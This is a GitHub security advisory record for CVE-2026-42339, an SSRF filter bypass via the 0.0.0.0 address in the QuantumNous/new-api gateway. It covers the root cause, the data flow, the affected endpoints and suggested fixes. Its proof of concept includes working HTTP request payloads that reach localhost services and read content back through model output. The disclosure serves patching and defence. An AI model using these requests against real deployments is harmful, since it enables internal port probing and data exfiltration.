          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T17:23:21Z",
    "nvd_published_at": "2026-05-08T23:16:36Z",
    "severity": "HIGH"
  },
  "details": "# SSRF Filter Bypass via `0.0.0.0` \n\n### Summary\n\nThe SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address `0.0.0.0`. A regular (non-admin) user holding any valid API token can send a multimodal request to `/v1/chat/completions`, `/v1/responses`, or `/v1/messages` with `0.0.0.0` as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a **blind SSRF**; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a **full-read SSRF**.\n\n### Details\n\n#### Root Cause\n\n`common/ssrf_protection.go` \u2014 `isPrivateIP()` (lines 33\u201347) checks the following ranges:\n\n- `10.0.0.0/8`\n- `172.16.0.0/12`\n- `192.168.0.0/16`\n- `127.0.0.0/8`\n- `169.254.0.0/16`\n- `224.0.0.0/4`\n- `240.0.0.0/4`\n\n**`0.0.0.0/8` is not checked.** On Linux, `0.0.0.0` resolves to the local machine, same as `127.0.0.1`.\n\n#### Default Fetch Settings\n\n`setting/system_setting/fetch_setting.go` (lines 16\u201324) defaults:\n\n- `EnableSSRFProtection: true`\n- `AllowPrivateIp: false`\n- `AllowedPorts: [\"80\", \"443\", \"8080\", \"8443\"]`\n- `ApplyIPFilterForDomain: true`\n\nSo `0.0.0.0` on any of these four ports passes all checks.\n\n#### Data Flow (primary chain \u2014 `/v1/chat/completions`)\n\n```\nUser API token\n\u2192 /v1/chat/completions  (TokenAuth, no admin required)\n\u2192 messages[].content[].image_url.url = \"http://0.0.0.0:8080/...\"\n\u2192 dto/openai_request.go:111-117   createFileSource() recognises http(s):// as URL source\n\u2192 dto/openai_request.go:119-198   GetTokenCountMeta() collects image_url.url / file.file_data / video_url\n\u2192 service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true\n\u2192 service/file_service.go:135-143  loadFromURL() \u2192 DoDownloadRequest()\n\u2192 service/download.go:52-68       ValidateURLWithFetchSetting() \u2192 0.0.0.0 NOT blocked \u2192 GetHttpClient().Get()\n\u2192 Server issues real TCP connection to 0.0.0.0\n```\n\n**Note on stream requirement:** `common/init.go` (lines 140\u2013141) defaults `GET_MEDIA_TOKEN=true` but `GET_MEDIA_TOKEN_NOT_STREAM=false`, so `stream: true` is needed to trigger the fetch path.\n\n#### Additional Affected Endpoints\n\nThe same `ValidateURLWithFetchSetting()` \u2192 `DoDownloadRequest()` sink is reachable from:\n\n| Endpoint | User-controlled field | Auth required |\n|---|---|---|\n| `/v1/chat/completions` | `image_url.url`, `file.file_data`, `video_url` | Regular user token |\n| `/v1/responses` | `input_file.file_url`, `input_image.image_url` | Regular user token |\n| `/v1/messages` | `source.url` (type: `\"url\"`) | Regular user token |\n| `/api/user/setting` | `webhook_url`, `bark_url`, `gotify_url` | Regular user (self) |\n\n#### Upgrade to Full-Read SSRF (conditional)\n\n`relay/channel/aws/adaptor.go` (lines 41\u201361) \u2014 `ConvertClaudeRequest()`:\n\n- If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content\n- When `source.type == \"url\"`, it calls `service.GetBase64Data()` which invokes the same `DoDownloadRequest()` path\n- The fetched content is rewritten to `type: \"base64\"` and inlined into the model request\n- The model then describes/transcribes the content in its response\n\nThis means an attacker can read the actual content of internal resources (images, PDFs, text) through the model\u0027s output, not just detect open/closed ports.\n\n### Proof of Concept\n\n**Prerequisites:** A regular user account with a valid API token. No admin privileges required.\n\n**Step 1 \u2014 Control group: `127.0.0.1` is blocked**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n  \"model\": \"gpt-4o-mini\",\n  \"stream\": true,\n  \"max_tokens\": 1,\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"text\", \"text\": \"describe\"},\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"http://127.0.0.1:8080/probe.png\",\n            \"detail\": \"low\"\n          }\n        }\n      ]\n    }\n  ]\n}\n```\n\nResponse:\n\n```\nprivate IP address not allowed: 127.0.0.1\n```\n\n**Step 2 \u2014 Experiment group: `0.0.0.0` bypasses the filter**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n  \"model\": \"gpt-4o-mini\",\n  \"stream\": true,\n  \"max_tokens\": 1,\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"text\", \"text\": \"describe\"},\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"http://0.0.0.0:8080/probe.png\",\n            \"detail\": \"low\"\n          }\n        }\n      ]\n    }\n  ]\n}\n```\n\nResponse:\n\n```\ndial tcp 0.0.0.0:8080: connect: connection refused\n```\n\nThe server attempted a real TCP connection \u2014 the SSRF filter was bypassed.\n\n**Step 3 \u2014 Confirm readback capability via multimodal model**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n  \"model\": \"claude-3-5-sonnet-latest\",\n  \"stream\": false,\n  \"max_tokens\": 32,\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\n          \"type\": \"text\",\n          \"text\": \"Transcribe exactly the text in the image. Output only the text.\"\n        },\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"https://dummyimage.com/600x180/111/fff.png\u0026text=READBACK-OK-314159\",\n            \"detail\": \"low\"\n          }\n        }\n      ]\n    }\n  ]\n}\n```\n\nResponse:\n\n```json\n{\"choices\":[{\"message\":{\"content\":\"READBACK-OK-314159\"}}]}\n```\n\nThis confirms that when the fetch target returns readable content (image/PDF/text), the model\u0027s response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on `0.0.0.0:\u003callowed-port\u003e` returns image or document content, an attacker can exfiltrate it.\n\n### Impact\n\nAn authenticated regular user (no admin privileges) can:\n\n1. **Probe localhost and internal services** \u2014 Determine open/closed ports on the server by observing `connection refused` vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443.\n2. **Exfiltrate internal content** \u2014 When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text).\n3. **Bypass all previous SSRF mitigations** \u2014 This is a direct bypass of the `isPrivateIP()` check. No redirect chain, no DNS rebinding, no race condition required \u2014 just replacing `127.0.0.1` with `0.0.0.0`.\n\nSince user registration is often enabled by default, any registered user can exploit this.\n\n### Suggested Fix\n\n1. Add `0.0.0.0/8` to the deny list in `isPrivateIP()` (`common/ssrf_protection.go`)\n2. Audit against the full [[IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/)](https://www.iana.org/assignments/iana-ipv4-special-registry/) \u2014 also ensure coverage for:\n   - `0.0.0.0/8` (\"This network\")\n   - `100.64.0.0/10` (Carrier-grade NAT)\n   - `198.18.0.0/15` (Benchmarking)\n   - IPv6 equivalents: `::1`, `::`, `[::]`, `fe80::/10`\n3. Apply the same IP validation to post-redirect targets (already partially addressed in `service/http_client.go:24-33`, but does not help when the initial address itself bypasses the filter)\n\n### Resources\n\n- **CVE-2025-59146** (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5\n- **CVE-2025-62155** (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6",
  "id": "GHSA-v5c3-6wvc-pc2q",
  "modified": "2026-05-13T13:38:24Z",
  "published": "2026-05-06T17:23:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42339"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QuantumNous/new-api"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9f46-w24h-69w4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "QuantumNous/new-api has an SSRF Filter Bypass via 0.0.0.0"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-42339 (GCVE-0-2026-42339)

FKIE_CVE-2026-42339

GHSA-V5C3-6WVC-PC2Q

SSRF Filter Bypass via 0.0.0.0

Summary

Details

Root Cause

Default Fetch Settings

Data Flow (primary chain — /v1/chat/completions)

Additional Affected Endpoints

Upgrade to Full-Read SSRF (conditional)

Proof of Concept

Impact

Suggested Fix

Resources

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour

SSRF Filter Bypass via `0.0.0.0`

Data Flow (primary chain — `/v1/chat/completions`)